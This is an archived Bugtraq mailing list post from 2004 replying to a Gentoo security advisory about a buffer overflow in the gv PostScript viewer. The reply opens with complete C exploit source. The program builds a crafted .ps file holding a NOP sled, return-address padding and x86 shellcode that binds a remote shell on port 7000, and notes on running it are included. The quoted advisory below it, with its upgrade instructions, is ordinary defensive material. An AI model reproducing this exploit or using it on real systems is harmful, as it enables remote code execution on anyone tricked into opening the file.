Bugtraq mailing list archives
Re: [ GLSA 200408-10 ] gv: Exploitable Buffer Overflow
From: infamous41md () hotpop com
Date: Thu, 12 Aug 2004 18:06:46 -0400
/* * gv postscript viewer exploit , infamous42md AT hotpop DOT com * * run of the mill bof. spawns a remote shell on port 7000. woopty doo. if * someone has been able to exploit the heap overflow in cfengine, please email * me and teach me something. after days of pain i've concluded it's not * possible b/c you can't manipulate the heap enough to get anything good in * front of you. please prove me wrong so i can learn. * * shouts to mitakeet * * [n00b@localho.outernet] netstat -ant | grep 7000 * [n00b@localho.outernet] gcc -Wall -o gvown gvown.c * [n00b@localho.outernet] ./gvown 0xbffff350 * [n00b@localho.outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps * [n00b@localho.outernet] netstat -ant | grep 7000 * tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN */ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define NOP 0x90 #define NNOPS 512 #define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0) #define BS 0x10000 #define RETADDR_BYTES 400 #define PS_COMMENT "%!PS-Adobe- " #define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps" /* call them on port 7000, mine */ char remote[] = "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { int len, x, fd; char buf[BS]; u_long retaddr; if(argc < 2){ fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]); return EXIT_FAILURE; } sscanf(argv[1], "%lx", &retaddr); /* create 3vil buf */ memset(buf, NOP, BS); strcpy(buf, PS_COMMENT); len = strlen(buf); for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr)) memcpy(buf+x+len, &retaddr, sizeof(retaddr)); len += x + NNOPS; strcpy(buf+len, remote); strcat(buf+len, "\n"); len += strlen(remote) + 1; /* + NULL */ /* create the 3vil file */ if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0) die("open"); if(write(fd, buf, len) < 0) die("write"); close(fd); return 0; } On Thu, 12 Aug 2004 13:33:07 +0200 Sune Kloppenborg Jeppesen <jaervosz () gentoo org> wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200408-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: gv: Exploitable Buffer Overflow Date: August 12, 2004 Bugs: #59385 ID: 200408-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== gv contains an exploitable buffer overflow that allows an attacker to execute arbitrary code. Background ========== gv is a PostScript and PDF viewer for X which provides a user interface for the ghostscript interpreter. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/gv <= 3.5.8-r3 >= 3.5.8-r4 Description =========== gv contains a buffer overflow vulnerability where an unsafe sscanf() call is used to interpret PDF and PostScript files. Impact ====== By enticing a user to view a malformed PDF or PostScript file an attacker could execute arbitrary code with the permissions of the user running gv. Workaround ========== There is no known workaround at this time. All users are encouraged to upgrade to the latest available version of gv. Resolution ========== All gv users should upgrade to the latest version: # emerge sync # emerge -pv ">=app-text/gv-3.5.8-r4" # emerge ">=app-text/gv-3.5.8-r4" References ========== [ 1 ] CAN-2002-0838 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200408-10.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security () gentoo org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2004 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/1.0 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBG1VzzKC5hMHO6rkRAnvTAJ4qHGounyrnZD4LdkcYK+edrKDlkgCeJgjz VixGMT9TOgt24mDQyFJa018= =FofW -----END PGP SIGNATURE-----
-- -sean
Current thread:
- [ GLSA 200408-10 ] gv: Exploitable Buffer Overflow Sune Kloppenborg Jeppesen (Aug 12)
- Re: [ GLSA 200408-10 ] gv: Exploitable Buffer Overflow infamous41md (Aug 12)
- Re: [ GLSA 200408-10 ] gv: Exploitable Buffer Overflow Dan Margolis (Aug 14)